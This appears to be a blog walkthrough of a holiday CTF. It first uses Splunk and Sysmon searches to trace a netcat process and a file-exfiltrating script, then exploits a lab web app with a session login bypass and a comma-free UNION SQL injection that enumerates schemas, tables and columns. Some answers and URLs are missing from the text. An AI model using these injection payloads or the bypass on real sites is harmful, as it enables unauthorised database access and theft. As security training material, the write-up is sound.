Looking through the git commands Eddie ran, determine the remote repository that he configured as the origin for the 'partnerapi' repo. The correct one!

Continuing from the same hyperlink we were accessing for task 1, I modified the filter to find “git” command and the command must contain “partnerapi”. Below shows the modified filter.

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 user=eddie CommandLine=git*partnerapi*
| stats count by CommandLine 
| sort - count

This will allow us to obtain the remote repository which is “”.

Task 3


Eddie was running Docker on his workstation. Gather the full command line that Eddie used to bring up a the partnerapi project on his workstation.


index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 user=eddie CommandLine=docker*
| stats count by CommandLine 
| sort - count

Therefore, we can see the full command is “docker compose up“.

Task 4


Eddie had been testing automated static application security testing (SAST) in GitHub. Vulnerability reports have been coming into Splunk in JSON format via GitHub webhooks. Search all the events in the main index in Splunk and use the sourcetype field to locate these reports. Determine the URL of the vulnerable GitHub repository that the elves cloned for testing and document it here. You will need to search outside of Splunk (try GitHub) for the original name of the repository.

We can use the 6th pointer’s hyperlink as the sourcetype has already been completed for us. Expand the “repository” sections. Nothing looks interesting until I saw the 3rd row’s result’s repository section on DVWS. DVWS stands for Damn Vulnerable Web Service is very popular as it is usually used for practicing web pentesting.

Just a quick Google search and we can find the actual GitHub URL of DVWS which is ““. Submit the whole URL to pass task 4.

Task 5


Santa asked Eddie to add a JavaScript library from NPM to the 'partnerapi' project. Determine the name of the library and record it here for our workshop documentation.

We can use the 4th hyperlink again which was used for task 1. From there, filter the CommandLine via “*npm*install*”. Below shows the filter I used.

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 user=eddie CommandLine=*npm*install*
| stats count by CommandLine 
| sort - count

We will be able to find out that the library installed is “holiday-utils-js”.

Task 6


Another elf started gathering a baseline of the network activity that Eddie generated. Start with their search and capture the full process_name field of anything that looks suspicious.

Going to the link in the hyperlink of “their search”, it shows us two IP addresses, and Thus, we need to search for them. By using the 2nd given hyperlink “Sysmon for Linux – Process creation“, I changed the event code to 3 to match “their search”‘s filter as event code 3 is for networking. Going through the process names, I found a suspicious process which is “/usr/bin/nc.openbsd” which is commonly used for remote shells.

The final filter:

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=3 dest_ip=

Task 7


Uh oh. This documentation exercise just turned into an investigation. Starting with the process identified in the previous task, look for additional suspicious commands launched by the same parent process. One thing to know about these Sysmon events is that Network connection events don't indicate the parent process ID, but Process creation events do! Determine the number of files that were accessed by a related process and record it here.

As we know from task 6 that the process id (PID) is 6791, we can query for it but remove the event code filter so that all events from that process will be shown. Thus the new filter is:

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational ProcessId=6791

3 different rows of results will appear. We can see one of them having a parent process ID 6788.

Thus, we can filter by parent process id, resulting in the new filter to be:

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational ParentProcessId=6788

If we point our mouse cursor on the CommandLine, we can see the full command. Thus, we can see 6 files were being accessed.

Task 8


Use Splunk and Sysmon Process creation data to identify the name of the Bash script that accessed sensitive files and (likely) transmitted them to a remote IP address. 

Open the 2nd pointer hyperlink (Sysmon for Linux – Process creation). We will be searching for a bash script (*.sh). Thus, the filter I have created is:

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 CommandLine=*.sh

This will allow us to see a bash script file, “”.


Once we submit the answer for task 8, the Window containing the flag will pop up.

Frost Tower Website Checkup

This challenge is located on the objective page where we will be tested on cookie/session flaw, SQL injection vulnerability, comma restriction bypass on SQL injection.

Going to the 2 hyperlinks, one of them will lead us to a website while another will allow us to download the website’s source code.

Talking to NPC Ribb Bonbowford will give us a hint that this challenge is on SQL injection (SQLi) and the database used is MySQL.

Login bypass

We first need to go to the dashboard page. If we look at the server.js file, we will see that it requires session.uniqueID to be set.

If we look at app.get(‘/login’), we will see it sets the value of session.uniqueID after successful login. However, SQL injection is not possible on the login page due to tempCont.escape(username) or mysql.escape().

However, if we search (CTRL+F) the source code in the server.js file for “session.uniqueID =” to find where else set it, we will come across an interesting function that will set it as well which is‘/postcontact’).

You can see the session.uniqueID being set on the green arrow. The red arrows show that for it to be set, there is a condition which is if the email already exists in the database, it will pass the IF condition on line 148 and set “sess.uniqueID = email”. The ELSE condition at line 155 will create a new contact in line 157 if it is new. Thus, to make it pass the IF condition, we need to create the account using the same email twice. I will be using the same information for other fields such as names as well.

If it is successful, it should show it is added to the database. To make the exploit work, just key in the same email since the SQL query’s condition only depends on email.

Once we see the “Email Already Exists” message, we can go to

In search for SQLi vulnerability

I scrolled through the source code in the server.js file but all SQL query seems to be parameterized or escape bad characters to prevent SQL injection (SQLi). Therefore, I tried to find mistakes in the code where escape() is used on the ID field. Indeed, I have found an HTTP request that has this SQLi vulnerability.

You might be thinking how SQLi on the ID field works when there is escape()? Well, escape() helps to escape characters like quotes. Since ID uses an integer, we don’t need quotes at all to append our malicious SQL query. Besides that, m.raw() will process our SQL injection payload in raw instead of escaping some special characters by default (read this post on raw()). Therefore if we try SQL injection on the app.get(‘/edit/:id’) page, it will not work despite the vulnerability being the same but without m.raw().

If we check out the uniquecontact table from frosttower-web\sql\encontact_db.sql file, we will see table uniquecontact has 7 columns.

Since the SQL query on the app.get(‘detail/:id’) page select all rows (SELECT *) from table uniquecontact, we have to match with 7 columns for our SQLi payload if we use UNION.

1,2 UNION SELECT 1,2,3,4,5,6,7-- -

However, note that there is a comma delimiter separator on source code line 204. Moreover, the vulnerability is via passing the IF condition on line 203. Otherwise, the ELSE block on line 212 will do a SQL parameterization which prevents SQLi. Thus, we need at least one comma in our URL. I only use two ID parameters where the 2nd parameter will contain the SQLi payload.

As the example above uses 7 commas, it will split my payload into the following SQL query:

SELECT * FROM uniquecontact WHERE id=1 or id=2 UNION SELECT 1 or id=2 or id=3 or id=4 or id=5 or id=6 or id=7-- - or id=?

This is not what we want. Thus, we need to find a comma alternative. I found this source which looks promising using JOIN. Thus, the newly crafted SQLi is shown below with a screenshot of it working.,2 UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT 2)B JOIN (SELECT 3)C JOIN (SELECT 4)D JOIN (SELECT 5)E JOIN (SELECT 6)F JOIN (SELECT 7)G)-- -

Obtaining Santa job offer from TODO table

Based on the challenge, we need to find the job offer from the TODO table. However, the frosttower-web\sql\encontact_db.sql file does not show it doesn’t mean it is not in that schema. It can also be in another schema. Hence, we can follow this cheat sheet to find out the schema available followed by the tables available, and finally the column names of the TODO table.

Firstly, let’s find out what schemas are there.,2 UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT group_concat(schema_name) FROM information_schema.schemata)B JOIN (SELECT 3)C JOIN (SELECT 4)D JOIN (SELECT 5)E JOIN (SELECT 6)F JOIN (SELECT 7)G)-- -

We will see there are only two schemas. The default MySQL schema and encontact. Therefore, the TODO table is probably in the encontract schema but not shown on the frosttower-web\sql\encontact_db.sql file. Thus, let’s look at the tables available in the encontract schema.,2 UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema="encontact")B JOIN (SELECT 3)C JOIN (SELECT 4)D JOIN (SELECT 5)E JOIN (SELECT 6)F JOIN (SELECT 7)G)-- -

True enough, we see the todo table. We will have to look at the columns available before querying the table.,2 UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name="todo")B JOIN (SELECT 3)C JOIN (SELECT 4)D JOIN (SELECT 5)E JOIN (SELECT 6)F JOIN (SELECT 7)G)-- -

The column “note” seems interesting. Probably all incompleted tasks by Jake Frost are in it. Let’s query it.,2 UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT group_concat(note) FROM todo)B JOIN (SELECT 3)C JOIN (SELECT 4)D JOIN (SELECT 5)E JOIN (SELECT 6)F JOIN (SELECT 7)G)-- -

This allows us to see the flag which is “clerk”. We can now submit the flag.

You Won!

It isn’t really a challenge but doing these will give you the last few achievements for this CTF. Click on the letter of the spaceship located on the Frost Tower’s rooftop.

Finally, talked to the different NPCs from right to the left in order to complete this CTF.

I hope this article has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂

Leave a Reply

Please log in using one of these methods to post your comment: Logo

You are commenting using your account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.